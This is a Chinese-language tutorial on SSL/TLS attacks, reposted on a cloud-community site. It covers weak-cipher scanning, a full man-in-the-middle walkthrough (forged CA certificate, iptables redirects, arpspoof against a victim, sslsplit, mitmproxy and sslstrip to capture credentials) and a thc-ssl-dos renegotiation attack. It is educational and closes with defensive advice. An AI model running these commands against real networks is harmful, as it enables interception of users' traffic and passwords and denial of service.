SSL_TLS 攻击原理解析

本文主要描述 HTTPS 中对于 ssl/tls 加密的攻击手法,什么是 HTTPS 呢?百度百科的解释如下:

HTTPS(全称:Hyper Text Transfer Protocol over Secure Socket Layer),是以安全为目标的 HTTP 通道,简单讲是 HTTP 的安全版。即 HTTP 下加入 SSL 层,HTTPS 的安全基础是 SSL,因此加密的详细内容就需要 SSL。

0x01 知识铺垫

ssl/tls 用途

1、为实现 CIA (保密性, 完整性, 可用性)

2、解决信息传输过程中数据被篡改,窃听

3、通过,密钥交换算法,对称加密,非对称加密,单向加密 (HASH) 手段进行加密

常见的攻击方式

1、降级攻击

2、解密攻击(明文, 证书伪造)

3、协议漏洞, 实现方法的漏洞, 配置不严格

SSL/TLS 应用场景

1、http, 称为 https

2、邮件传输(服务器间, 客户端与服务器间)

3、数据库服务器间

4、LDAP 身份认证服务器间

5、SSL VPN

6、DRP 通信过程的加密和身份认证

加密过程

1、协商加密协议

2、获取公钥证书

3、验证公钥证书

4、交换会话秘钥

5、ssl连接建立完成,使用加密传输

详细叙述:

1、浏览器将自己支持的加密规则(也就是 CipherSuite )发给服务器

2、服务器端收到请求,然后从客户支持的 CipherSuite 中选出一个应答,并发送给客户端公钥证书和选用的 HASH 算法

3、客户端收到公钥之后,利用自己的信任的根证书对收到的公钥进行验证.若通过,客户端随机生成对称密钥 (Pre-Master secret),通过服务器发给客户端,然后使用公钥对对称密钥进行加密,并计算连接中全部报文信息的 hash ,再利用生成的对称密钥对 hash 值加密,然后把公钥加密的对称密钥及对称密钥加密的 hash 值发送给服务器.

4、服务器利用自己的私钥对利用公钥加密的对称密钥进行解密,得到对称密钥. 再利用对称密钥解密 hash 值,对 hash 值进行验证.在验证成功后,会返回给客户端 Finish 报文。(至此,ssl 连接建立成功)

5、ssl 连接建立完成之后信息的传输加密过程是这样的:

客户端:先用对称密钥加密要传输的信息,再利用 hash 算法得出加了密的信息的 hash 值.再利用公钥对 hash 值进行加密,之后把对称密钥加密了的信息和利用公钥加密后信息的 hash 值,传输给服务器.

服务器: 与客户端基本相同,不过把公钥加密换做私钥加密。

简单图示

WireShark来分析回话过程

ssl 的弱点

1、ssl 是不同的对称、非对称、单项加密算法的组合加密实现(cipher suite)

2、服务器为实现更好的兼容性, 支持大量的过时的 cipher suite

3、协商过程中可能强迫降低加密强度

4、现代处理器的计算性能使可再可接受的时间内破解过时的加密算法

0x02 HTTPS 弱点扫描

这里主要针对弱 cipher suite 的弱加密组合和历史漏洞(如 heartbleed )进行扫描,常见工具如下:

openssl

openssl s_client connect www.baidu.com:443

检查支持的不安全的 cipher

openssl s_client -tls1_2 -cipher 'NULL,EXPORT,LOW,DES' -connect www.baidu.com:443

sslscan

自动识别 ssl 配置错误, 过期协议, 过时的 cipher suite, 默认检查 crime, heartbleed 漏洞, 绿色表示安全, 红色,黄色需引起注意:

sslscan --tlsall www.baidu.com:443

分析证书详细信息

sslscan --show-certificate --no-ciphersuites www.baidu.com

sslyze

检查 ssl 过时版本, 检查存在弱点的 cipher suite, 扫描多站点时,支持读自文件,检查是否支持回话恢复

sslyze --regular www.baidu.com:443

nmap

nmap --script=ssl-enum-ciphers.nse www.baidu.com

当然,nmap 还有其他检查 ssl 的脚本

在线查询

https://www.ssllabs.com/ssltest

0x03 SSL 中间人攻击

攻击者告诉目标机自己是网关,同时 NAT 转发目标机的信息给网关.

图解

图是网络上的,图示很赞.(侵删)

实现中间人攻击手段

为实现攻击者插入到被攻击者和服务器通信链路中的手段

1、ARP 欺骗

2、DHCP服务器

自己搭建一个 DHCP 服务器,如果攻击者的 DHCP 服务器与被攻击者的距离比网关与被攻击者的距离近才可行,会有一个接受先响应者的就近原则

3、通过 ICMP, STP, OSPF 协议攻击 欺骗 ICMP 重定向, STP 的根, OSPF 的默认路由

4、理论可行的(操作前提是先控制被攻击者): 修改被攻击者网关, 修改被攻击者 DNS, 修改被攻击者 hosts

ssl 攻击前提

1、客户端信任伪造证书

客户端禁止显示证书错误, 被攻击者自己点击信任, 攻击者控制了客户端,强迫信任证书.

2、攻击者控制了证书颁发机构,拿到合法证书(当然,也可以合法的花钱购买)

攻击演示

1、伪造证书

生成证书私钥:

openssl genrsa -out ca.key 2048

利用私钥,生成根证书

openssl req -new -x509 -days 999 -key ca.key -out ca.crt

这里需要填写信息,可以仿照真实证书信息填写.

2、启动路由

sysctl -w net.ipv4.ip_forward=1

echo 1 > /proc/sys/net/ipv4/ip_forward

3、配置 iptables 的 nat 表

iptables -t nat -F #清空 iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080 iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443 #https 这是最重要的一条 iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443 #MSA iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443 #SMTPS iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443 #IMAPS iptables -t nat -A PREROUTING -p tcp --dport 995 -j REDIRECT --to-ports 8443 #POP3S iptables -t nat -L # 确认

注意 攻击者的 80,443, 587 等端口不能被其它程序占用.

4.arp 欺骗

攻击者

arpspoof -i eth0 -t 192.168.0.108 -r 192.168.0.1

被攻击者:

上面是欺骗前的,下面是欺骗后的。

5、sslsplit

透明的 ssl/tls 中间人攻击工具 对客户端伪造服务器,对服务器伪装客户端,伪装服务器时需要证书,支持 ssl/tls 加密的 smtp, pop3, ftp 等通信中间人攻击

mkdir -p test/log sslsplit -D -l connect.log -j /root/test -S /root/test/log -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080

被攻击者访问 HTTPS 网站

为了演示, 这里就点继续访问吧.

攻击者可以从日志中查看到被攻击者传输的内容, 但是请注意不是所有信息都是那么明朗,比如淘宝,百度等的密码栏会先利用其他加密组件进行加密然后才进行传输,我们能看到的只是传输过程的明文信息。

补充

如果不喜欢 sslsplit 还可以选其它工具,同样是 arp 欺骗,然后端口转发,之后使用 ssl 透明代理工具

mitmproxy

开启路由:

echo 1 > /proc/sys/net/ipv4/ip_forward

端口转发:

iptables -t nat -F #清空 iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080 iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8080

arp 欺骗

arpspoof -i eth0 -t 192.168.0.108 -r 192.168.0.1

启用 mitmproxy

mitmproxy -T --host -w logfile.log

依然会报证书错误,不过在没有在没有加密组件的情况下,可以直接获取用户名和密码。

sslstrip

注意:此工具直接将客户端到中间人之间的流量变为明文,其它准备步骤相同,然后执行:

sslstrip -l 8080

这样可以把 https 网站转化成 http,不再报证书错误。

尤其对手机而言,更不会注意到地址栏的信息,所以相对隐蔽一些。

查看当前目录生成的 sslstrip.log 文件(默认只记录 post 的数据)可查看 post 的数据。

0x04 SSL/TLS 拒绝服务攻击

主要是利用 ssl-renegotiation(如果禁用下面这个攻击工具就不能直接利用了), 不断的重协商,增加服务器负担,而不是流量式的攻击

thc-ssl-dos ip 443 --accept

0x05 SSL/TLS 的安全前提

SSL/TLS 的安全基础是私钥的保密,这里以一道 CTF 题来做引证。

题目假设: 获得了服务器私钥, 和抓包的得到加密流量

1、WireShark 打开流量包:

wireshark: Preferences -> Protocols -> SSL -> Edit RSA keys list

输入私钥的文件地址信息

然后可以右键一个 ssl 包,追踪流(选中 ssl 流)

0x06 总结

tls/ssl 大大的提高了各种应用的安全性,提高了各种劫持破解的成本。但是不是百分百的安全,当访问一个网站的时候,如果遇到证书错误,如果不是有足够的理由去信任的,请直接拒绝访问。新的技术引入的同时,如果不注意正确配置,还会造成新的攻击面,如本文提到的拒绝服务攻击,所以在配置 ssl 时,注意关闭客户端发起的重协商请求。同时要注意服务器私钥的保管,如果泄露了,那么 SSL 的一切安全基础也没有了。最后,希望本文对大家有一点点力量。

原文发布于微信公众号 - 信安之路(xazlsec)

原文发表时间:2018-03-01

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏Java学习网

分析学习HTTPS和HTTP的区别

分析学习HTTPS和HTTP的区别  首先谈谈什么是HTTPS:   HTTPS(Secure Hypertext Transfer Protocol)安全超...

24710
来自专栏草根博客站长有话说

HTTPS 要比 HTTP 多用多少服务器资源?

HTTP 访问,用户只需要完成 TCP 三次握手,建立 TCP 连接就能够直接发送 HTTP 请求,获取应用层数据。而 HTTPS=HTTP+SSL,也就是说 ...

1354
来自专栏张善友的专栏

Jexus服务器SSL二级证书安装指南

申请获得服务器证书有三张,一张服务器证书,二张中级CA证书。在Android微信中访问Https,如果服务器只有一张CA证书,就无法访问。 获取服务器证书中级...

2438
来自专栏腾讯Bugly的专栏

iOS 中 HTTPS 证书验证浅析

导语 在 WWDC 16 中,Apple 表示, 从 2017年1月1日起(最新消息, 实施时间已延期),所有新提交的 App 使用系统组件进行的 HTTP 网...

6018
来自专栏运维小白

12.18 ssl原理

ssl原理 https的相关知识点 要配置nginx和https,就需要首先去了解https是什么? 在访问一些网站的时候,会自动加上了https前标 http...

2059
来自专栏滕先生的博客

聊聊 iOS 中的网络加密介绍下介绍下HTTPS交互原理介绍下我们需要做什么

2897
来自专栏惨绿少年

HTTPS 原理与证书实践

1.1 网络安全知识 1.1.1 网结安全出现背景 网络就是实现不同主机之间的通讯,网络出现之初利用TCP/IP协议簇的相关协议概念,已经满足了互连两台主机之间...

7467
来自专栏Scott_Mr 个人专栏

RxSwift 系列(七) -- Connectable Operators

3558
来自专栏网络

通过CURL请求示例详解HTTPS协议

基于HTTPS通信是当前互联网最通用便捷的通信方式,简单理解来看可以视为HTTP协议 + SSL/TLS协议,通过一个curl的示例阐述一下HTTPS协议。 特...

30210
来自专栏java思维导图

【思维导图】深入理解HTTPS原理、过程

我们经常会遇到页面被运营商插入小广告这种事情(数据被篡改),可想而知,HTTP是有多么不安全。 如何做到的? 答:只需要设定相应的DNS,做一个中间人攻击,再...

3875

扫码关注云+社区

领取腾讯云代金券